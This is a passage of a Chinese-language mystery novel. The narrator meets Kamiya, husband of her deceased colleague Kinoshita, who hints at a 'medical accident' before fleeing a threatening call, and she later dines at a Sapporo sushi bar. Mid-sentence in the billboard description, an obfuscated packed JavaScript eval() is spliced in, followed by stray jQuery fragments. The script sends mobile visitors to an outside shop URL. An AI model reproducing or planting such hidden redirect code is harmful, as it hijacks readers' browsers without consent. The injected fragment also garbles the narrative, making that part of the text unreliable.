神谷——在第二个神谷出现之前，我在心里先这样称呼他，而不叫他的全名，走向停车场，转身拉开驾驶座的门，弯腰收拾了副驾驶座上杂七杂八的东西，随手扔到了后座上。然后他直起身，用那只瘦弱的手对我比了一个请上车的手势。
车是一辆灰色轿车，车龄大概十多年的样子，车门下方的防撞条有几处鼓包，而后车窗的雨刮器上堆着一簇枯枝和枯叶，已经冻得硬邦邦的，自秋天起就没有清理过。副驾驶座的车门把手转动起来有些费劲，多亏他从内侧帮我推了一下车门，我才拉得开。车内飘散着汽车香薰的气味。是薄荷香——奇怪，木下明明讨厌薄荷才对。不过，香薰已经挥发得差不多了，只剩下旧皮革的气味。除了那堆杂物，后座还放着一个公文包、一把折叠伞、和一盒饼干。
我坐进去，系上安全带。他转头看了我一眼，随后发动引擎，引擎点火的瞬间车身颤抖了一下，然后恢复平稳，朝狭窄的盘山路驶去。在高耸的落叶松之间，时而能看见被雪雾半吞没的灰色远山轮廓。冠雪距离札幌市里实在是太遥远了，来到这个地方，总有种仿佛一生都要困在大雪里的错觉。
行至半山腰时，他突发奇想地转动了收音机的旋钮，但随即又关掉了——他也是转动后才发现，频道正播放着一档滑稽的真人秀节目。主持人的笑声瞬间打破了寂静的平衡。那档节目本身并没有什么问题，只是与当下的氛围格格不入罢了。他继续保持沉默，车里的空气被引擎运转的轰鸣声填满。
“您是从哪里来的？”大概是觉得尴尬，他便主动说话，双眼直直盯着前方路面。
“东京。”我说。就在那间旅店，爱子也问过这个问题。这可真是个化解紧张气氛的万能话题。
“啊，那可真是太远了。我还以为您是住在北海道呢。您是独自一人特意过来的吗？”
“是的。”
“札幌的治安还算不错，应该不会给您的旅途增添麻烦。”他说，“木下的人缘很好。在她离世后，有许多人先后过来拜访她的墓地。这个地方是我为她选的，我知道她很喜欢雪，所以选了这里，既安静，雪景又美，而且还有神明的庇佑。我还特地找冠雪神社的员工做过几次类似安魂的那种仪式，我只希望她能安息。”
“看得出您很用心啊。”我虽然在夸赞他，但并没有露出微笑，“木下前辈和我说过她的故乡在札幌，想必安葬在这里，她心里应该也就没有遗憾了吧。”
“她什么都和您说吗？”他忽然问。
这个问题问得我有些措手不及，那种怪异感再次涌上我的心头。
“不。不一定什么都和我说。只是我们聊天的时候，偶尔会聊到彼此的童年之类的话题。”
他没有再追问，只是沉默地点了点头，随即全神贯注地开车。我不安地咽了口唾沫，令人窒息的寂静再次充斥车内。我不由自主地用双手紧紧攥住了羽绒服，那个场景——他猛地踩下刹车，从车座底抽出一把刀，捅进我的腹部，在我脑海里一遍又一遍重演。
“马上就快到了。”
十分钟后，他把车停在店旁的一条碎石路上，率先踏入了大雪之中。听到引擎熄火的声音，我身上紧绷的紧张感缓解了不少，空气也流通起来。他回头向我挥了挥手，我解开安全带，紧随其后走了出去。
当他推开咖啡店的木框推门时，门框上方的铃铛“叮叮”地响了起来，那声音让我耳朵瞬间感到一阵刺痛。这家咖啡店很狭窄，里面只有一个L形的吧台和六个座位。吧台后面的架子上，排列着咖啡机、马克杯，以及装有咖啡豆和糖粉的几个玻璃瓶。角落里，有一台布满灰尘、沉睡已久的黑胶唱片机——没错，从它那黯淡的外观来看，一眼就能看出它已经很久没用了。因此，这里既没有摇篮曲，也没有古典乐，更没有迷幻朋克，听得见的只有风雪呼啸着撞击玻璃的声音。
幸好店内的温度很暖和，这也导致神谷的眼镜又起雾了。他无奈地一屁股坐进椅子里，开始用手擦拭镜片。
我抿了一口咖啡，等到他整理好，才发问道：“您也是特意赶来札幌的吗，神谷先生？”
“不，我、我就在札幌工作，我已经在这里工作二十多年了。”
“恕我冒昧，您是做什么的呀？”我说，“我只是好奇，并不是有意打探您的隐私之类的……因为木下前辈不怎么会聊到她的家庭，她在工作时非常认真，甚至很少让个人情绪影响到工作。”
“啊，没关系。我在一家永旺超市的仓库做分拣员，只是……很普通且枯燥的工作罢了，收入也很低，这都是因为经理雇了太多可恶的机器人来抢我们的工作。”或许是意识到自己的话语有些激动，神谷深深地叹了口气，很快便如泄了气的皮球一般垂下脑袋，“唉，我现在什么也不奢求啦，只想着能保住我的底薪就好。”
“大家都很辛苦呢。”
他发出苦涩的笑声，继续说道：
“我和木下原本只是同事，相识三年后结了婚。后来，偶然一次机会，她得到了松籁的赏识，入职后被派到位于大阪的分公司工作。短短几年的时间，她的薪水就涨到了我的十倍。即使最后松籁的分公司倒闭，她也没有被裁员，而是调职到东京总部工作。虽然每次休假她都会飞来札幌陪我，但内心深处依然固执、冷淡，缺乏对家庭的责任感。我曾多次对她提过想要抚育孩子的事，可她却觉得有了孩子只会影响她工作。高梨小姐，您明白吗？其实很多人只不过少了机遇和家族的支持而已。这就是所谓的命运，它一直让我备受煎熬……”
“有时命运的确很不公平，像木下前辈这样厉害的人，却因为疾病如此年轻便去世了。”我看着他脸上懊恼的神色，却无法发自内心地感同身受。他凭什么想强迫其他人的想法和自己一致呢？那些没完没了的怨天尤人反而使我更加为木下惋惜，所以我没有顺着他的话出言安慰，引到另一个话题。“……她临终的日子里，过得怎么样？我想知道是否……很痛苦呢？”
他愣了一会儿，扬起头，猛地喝了一大口杯子里的茶水。
“那真是个可怕的疾病。”他的喉结滚动着，眼睛似乎蒙上水汽，“她最开始只是头疼，还以为是神经炎，后来才确诊了胶质母细胞瘤。自从患病，多数时间她都躺在病床上，也不怎么说话，可偶尔她简直就像变了一个人似的，明明前一秒还在和我聊治疗的事，下一秒突然暴怒起来，开始砸家具；而且，她经常会失忆或产生幻觉，甚至把周围的人当成妖怪……经历几次化疗后，她的性格和行为就变得更难以捉摸了。我想，她的内心一定很痛苦吧，于是我常常给她买花——那种颜色很淡的桔梗，您知道吗？每次去看望她，我都会挑最新鲜的买。”
“如果她有来生的话，真希望她能幸福地过完一生啊。”听到他的讲述，我感觉口中醇香的咖啡瞬间难以下咽起来。在松籁工作的记忆冲刷着我的大脑，那股潮流是由滚烫的酸液汇聚而成，每次当我想要触摸它时，我总会告诫自己：它是恶鬼、是地狱，我的皮肉和骨头会被烧烂，最后什么也不剩……
“要不是那该死的医疗事故，她本该能陪在我身边更久一些的——”
“医疗事故？”我迅速捕捉到他话里的重要信息，于是也顾不上礼貌，立刻打断他问道：“什么医疗事故？您是说和木下有关系吗？”
“没、没什么……”他惊恐地瞪大眼睛，但随即收敛了扭曲的神情，说道：“是我在胡言乱语而已。”
“等等，您得把话说明白——”
他口袋里终端毫无征兆地响起来，此时此刻对于他而言犹如救命稻草。他把它掏出来，仅仅瞥了一眼屏幕的显示，顿时面色惨白，慌忙接通了这则通讯。
我剩余的质问卡在喉咙里，只好仔细盯着他的一举一动。
从他不安的肢体动作可以看出，对面是个强势的存在，令他恐慌、惧怕，连说话都开始结巴了，在此期间，他多次强装镇定，甚至开始编造一些权宜之计的谎言——我并不清楚他们谈话的内容关于什么，但是他的回答漏洞百出，比如一会儿说“收到了”，一会儿又说“没收到”；一会儿说“上个月”，一会儿又说“这个月”。我想对方也肯定感觉到了这一点，大概是说了些类似威逼利诱的话，他猛地从座位上跳起来，嘴里开始嘟囔着。
“抱歉，我、我得走了，高梨小姐。我这边出了急事，是……是我母亲那边的事，非常紧急——抱歉、抱歉……”他扶正眼镜，仓促地对我弯了弯腰，随即径直冲出了咖啡店，朝停车场跑去。
我向外面望去，那辆灰色轿车很快便消失在苍茫的白色之中。
啊，应该添加他的联系方式的！我对自己的疏忽感到气恼和懊悔，刚才一直在想着神谷所说的“医疗事故”，全然忘记了这一回事，以后再想找到他恐怕十分困难了。
我喝掉剩下的咖啡，苦涩的味道使我的舌头几乎失去知觉。梶山是个不值得信任的人，最喜欢披着羊皮示众。如今看来，神谷是和他一样的伪君子，只不过没有他那样精明、狡诈和善于伪装罢了。他或许对木下有真挚的感情，可我觉得其中掺杂着蛇毒般的忌恨，正因如此，我无法分辨神谷的话里有多少谎言，哪句是真，哪句是假；哪句是平铺直叙，哪句是蒙太奇。
离开山区后，我乘坐巴士回到了札幌市区，漫无目的地在大街上逛了几圈，随后坐上一列有轨电车抵达市中心。这并非为了闯进购物中心进行毫无意义的巨额消费，而只是为了散心。我的思绪现在简直是一团乱麻，不过又没有明确的目的地，感到格外迷茫。
一走出车厢，我便瞬间置身于一个悬浮在雪夜中的琥珀色世界，那幅巨大的NIKKA威士忌招牌正俯视着我——W.P.罗利爵士戴着圆顶礼帽，手持一杯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17780381|209942||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
金黄色威士忌，正从屏幕中缓缓走出来，朝十字路口的来来往往的人们致意。我感叹着广告商的技术，栩栩如生的细节精确到了络腮胡的胡须，仿佛他在苏格兰高地的酒窖里坐了一整个下午，晚上才回到这里享受夜生活。
我走进他脚下的店铺，那是一家Omakase寿司店。老实说，我一直对这种用餐方式感到有些不适应，因此从未尝试过。可自从早餐后我就没有吃过东西了，饥饿感已经到了一种难以忽视的地步，于是我加快脚步朝里面走去。
挤过那条狭窄的过道后，我看见寿司店的老板正站在吧台后面切鱼，醋饭的香气中夹杂着一丝天然腥味。他冲我微微点头，说道：“欢迎光临”。玻璃柜里整齐地码着今天早上从市场买来的渔获，我大致数了数，其中有泛着银光的青花鱼、金枪鱼、蠕动的北极贝等等，全都沐浴在橘色的灯光下，犹如刷了一层晶莹剔透的蜂蜜酱。
“交给后厨安排可以吗？”老板递给我一块用来擦手的湿毛巾。
“是的，拜托您了。哦对了，我……我吃不惯太生冷的东西。”
“好的，收到了。那么酒水呢？”
“请给我一杯生啤。”
趁着他开始做第一贯，我在脑海里重新回想了一遍神谷说过的关于木下的事情，他提到的“医疗事故”究竟是什么？难道……木下前辈是因为医疗事故才去世的？要调查清楚这件事是个难题。首先，我需要在庞大的数据流中找到相关的事件，例如新闻报道之类的……这可要花费很长时间逐一筛选、定位我需要的内容，且一旦涉及身份复杂的人物，说不定证据早就被清理得干干净净；其次，为了进一步获得更可靠的信息，有必要联系木下前辈的亲人，在我模糊的记忆里，她双亲都已过世，只有一个姐姐和一个妹妹，她们三姐妹亲密无间，那么，她到底是如何去世的，其余姐妹二人大概率知晓内情；再者，就是去木下治疗及确诊死亡的医院转转，可我既不是记者或监视员，也不认识任何医疗人员，该如何调查呢？
迄今为止发生的一切，都远超我的预料，我原本计划祭拜完木下的骨灰龛后就返回东京，万万没想到竟然牵扯出了这一系列的事端。
思来想去，我决定先从第二点入手。既然我还没有离开札幌，我决定去木下前辈的童年居所看看，说不定能够遇到她们三姐妹中的一人。需要地址……啊，地址啊。对了，我保存过木下的地址啊！曾经我们约定要在圣诞节给对方寄一些礼物。她的妹妹一直想见到童年意外离世的玩伴，于是我开始着手制作“梦境录像带”，只可惜后面因为突如其来的变故搁置了进程。
我离开松籁已经有五年之久。松籁……只要想起那个公司、那些道貌岸然的人，至今仍会感到恶心到想吐。在我离开松籁的第二年，支社长金沢岳二坠楼身亡，并且他掌舵的位于大阪的分公司因为亏损被总部正式关停，此前这家分公司已经运营了将近五十年。如今的松籁也无法与鼎盛时期相提并论。当一只游荡的鱼被咬伤后，弥散在海洋中的血液和肉便会吸引一群捕食者前来瓜分享用，它迟早会死亡。
寿司店老板的吆喝声吸引了我。
抬起头，看见他紧握手持式喷灯，丁烷气被点燃，喷射出嘶嘶响的高温焰火，在金枪鱼寿司和表面的美乃滋留下焦糖色，油脂焦香四溢。经过短暂炙烤的寿司，外层是脆壳，里面则是软糯的肉类，品尝起来真是一次新鲜的体验，作为收尾的玉子烧就更美味了。这就是北海道夜晚独特的剧场表演了吧，除了食客，老板本身也乐在其中。真美好啊，以热爱堆砌的寿司店容纳着饥渴的胃、疲惫的灵魂，和我工作的居酒屋十分相似。恐怕，这世上再也没有比他们更纯粹的人了。
“鲷鱼寿司怎么样？”老板扯着嗓门问道，在嘈杂的环境中，他的声音显得格外洪亮。
“肉质很紧实呢。是……天然的那种？”
“当然啦。这个季节的鲷鱼最美味了。老实说，”他凑近我，低声嘀咕道，“就甭想是从海里打捞出来的了，咱们都知道，海水已经污染得不像样了。不过，这是刚从海水基地养殖场进货的一批鱼，绝对新鲜。我有人脉，所以质量好，价格又便宜。”
“您在这里开店多久了？”
“啊，如果从租下这家店算起的话，还不到十五年吧。不过从事这行已经快四十年了。从还是个毛头小子的时候起，我就一直和寿司打交道。”
“那真好啊，能一直做自己热爱的事情。这里营业到什么时候呢？”
“大概是凌晨一点。”
“那您要怎么回去？最近的雪可不小，很多道路都封住了。”
“哈哈，这您不必担心。”老板笑了笑，“我就住在这儿，偶尔出去采购才会离开。”
窗户结了一层厚重的雾凇，看不见我的倒影。我在心里感叹，这场雪什么时候才能停止呢？